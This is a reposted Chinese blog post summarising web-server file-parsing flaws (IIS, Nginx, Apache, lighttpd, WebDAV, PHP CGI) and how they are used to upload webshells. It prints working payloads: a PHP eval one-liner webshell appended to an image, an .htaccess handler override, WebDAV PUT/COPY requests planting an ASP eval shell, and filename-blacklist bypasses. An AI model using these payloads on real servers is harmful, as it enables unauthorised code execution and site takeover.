標籤:

文件解析漏洞匯總

解析漏洞正如其名,一般大家常說的是,文件在某種格式下,會被執行為該腳本語言的文件。

文件上傳漏洞通常與Web容器的解析漏洞配合利用

常見Web容器有IIS、Nginx、Apache、Tomcat等

好了正文開始匯總了,反正都轉載貼的,我自己也忘了在哪裡看到的了,就不註明轉貼地址了。

IIS 6.0解析漏洞

目錄解析:/xx.asp/xx.jpg xx.jpg可替換為任意文本文件(e.g. xx.txt),文本內容為後門代碼

IIS6.0 會將 xx.jpg 解析為 asp 文件。

後綴解析:/xx.asp;.jpg /xx.asp:.jpg(此處需抓包修改文件名)

IIS6.0 都會把此類後綴文件成功解析為 asp 文件。

(站長評論:IIS6.0解析漏洞的成因,可以查閱羅哥寫的一篇短文:IIS 文件名解析漏洞扼要分析)

{/xx.asp:.jpg 此類文件在Windows下不允許存在,:.jpg被自動除去,剩下/xx.asp}

(站長評論:發現錯誤,並不是不允許存在,這種路徑叫做「NTFS數據流」,具體見:IIS6使用冒號上傳漏洞,發現IIS6漏洞(上傳利用) 底下的評論)

默認解析:/xx.asa /xx.cer /xx.cdx

IIS6.0 默認的可執行文件除了 asp 還包含這三種

(站長評論:這種主要是由於在 IIS 默認配置中,這幾個後綴默認由 asp.dll 來解析,所以執行許可權和 .asp 一摸一樣,你可在配置中自行刪除該後綴,以防止安全隱患)

此處可聯繫利用目錄解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

IIS 7.0/IIS 7.5/Nginx <=0.8.37 解析漏洞

IIS 7.0/IIS 7.5/Nginx <=0.8.37

在默認Fast-CGI開啟狀況下,在一個文件路徑(/xx.jpg)後面加上/xx.PHP會將 /xx.jpg/xx.php 解析為 php 文件。

常用利用方法: 將一張圖和一個寫入後門代碼的文本文件合併 將惡意文本寫入圖片的二進位代碼之後,避免破壞圖片文件頭和尾

e.g. copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二進位[binary]模式

/a 即ascii模式 xx.jpg正常圖片文件

yy.txt 內容 <?PHP fputs(fopen(shell.php,w),<?php eval($_POST[cmd])?>);?>

意思為寫入一個內容為 <?php eval($_POST[cmd])?> 名稱為shell.php的文件

######################################

找個地方上傳 xy.jpg ,然後找到 xy.jpg 的地址,在地址後加上 /xx.php 即可執行惡意文本。

然後就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd

Nginx <=0.8.37 解析漏洞

在Fast-CGI關閉的情況下,Nginx <=0.8.37 依然存在解析漏洞

在一個文件路徑(/xx.jpg)後面加上%00.php會將 /xx.jpg%00.php 解析為 php 文件。

(站長評論:從 /test.jpg/x.php 演變過來的,具體可以參考:Ngnix 空位元組可遠程執行代碼漏洞)

Apache 解析漏洞

後綴解析:test.php.x1.x2.x3

Apache將從右至左開始判斷後綴,若x3非可識別後綴,再判斷x2,直到找到可識別後綴為止,然後將該可識別後綴進解析

test.php.x1.x2.x3 則會被解析為php

經驗之談:php|php3|phtml 多可被Apache解析

(站長評論:關於 apache 解析漏洞可以查閱「Apache 漏洞之後綴名解析漏洞」)

--------------------------------------------------------------------------------------------------------------

Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷.

比如 cracer.php.owf.rar 「.owf」和」.rar」 這兩種後綴是apache不可識別解析,apache就會把cracer.php.owf.rar解析成php.

如何判斷是不是合法的後綴就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個cracer.php.rara.jpg.png…(把你知道的常見後綴都寫上…)去測試是否是合法後綴。

其他一些可利用的 解析漏洞

在windows環境下,xx.jpg[空格] 或xx.jpg. 這兩類文件都是不允許存在的,若這樣命名,windows會默認除去空格或點,這也是可以被利用的!

在向一台windows主機上傳數據時,你可以抓包修改文件名,在後面加個空格或點,試圖繞過黑名單,若上傳成功,最後的點或空格都會被消除,這樣就可得到shell。

我記得Fck Php 2.6就存在加空格繞過的漏洞。{Linux主機中不行,Linux允許這類文件存在}

如果在Apache中.htaccess可被應用(Apache的配置文件httpd.conf中對目錄的AllowOverride設置為All時,apache會應用目錄下.htaccess中的配置 By sfasfas),

且可以被上傳,那可以嘗試在.htaccess中寫入:

<FilesMatch 「shell.jpg」> SetHandler application/x-httpd-php </FilesMatch>

shell.jpg換成你上傳的文件,這樣shell.jpg就可解析為php文件

lighttpd 解析漏洞

xx.jpg/xx.php

WebDav漏洞

WebDav是一種基於HTTP1.1協議的通信協議,它擴展了HTTP協議。在開啟WebDav後若

支持PUT、Move、Copy、Delete等方法,就會存在安全隱患。

測試步驟如下:

1)通過OPTIONS探測伺服器所支持的HTTP方法

請求:

OPTIONS / HTTP/1.1

Host: xxxx.com

2)通過PUT方法向伺服器上傳shell

請求:

PUT /a.txt HTTP/1.1

Host: xxxx.com

Content-Length: 30

<%eval request("chopper") %>

3)通過Move或Copy方法改名

請求:

COPY /a.txt HTTP/1.1

Host: xxxx.com

Destination: xxxx.com/cmd.asp

4)用DELETE方法刪除文件

請求:

DELETE /a.txt HTTP/1.1

Host: xxxx.com

註:可用桂林老兵的IIS Write快速探測伺服器是否存在WebDav漏洞

PHP CGI解析漏洞

當php的配置文件中的選項cgi.fix_pathinfo = 1開啟時,當訪問xxx.com/x.txt/x.php

時,若x.php不存在,則PHP會遞歸向前解析,將x.txt當作php腳本來解析

IIS中:任意文件名/任意文件名.php就會被解析為php

Nginx中:任意文件名/任意文件名.php就會被解析為php

總結:

這個我會持續增加的,等啥時再出來解析漏洞了,我就再添加上。以上都是網上 copy 過來的。。。。


推薦閱讀:

如何檢查開源網站代碼是否留有後門?
招行網銀曝漏洞:客戶信息泄露可被修改,回應稱系伺服器緩存
如何保護伺服器免受 Meltdown 和 Spectre 漏洞的波及
瀏覽器廠商應對重大 CPU 安全漏洞:降低時鐘精度,禁用 SharedArrayBuffer

TAG:解析 | 漏洞 |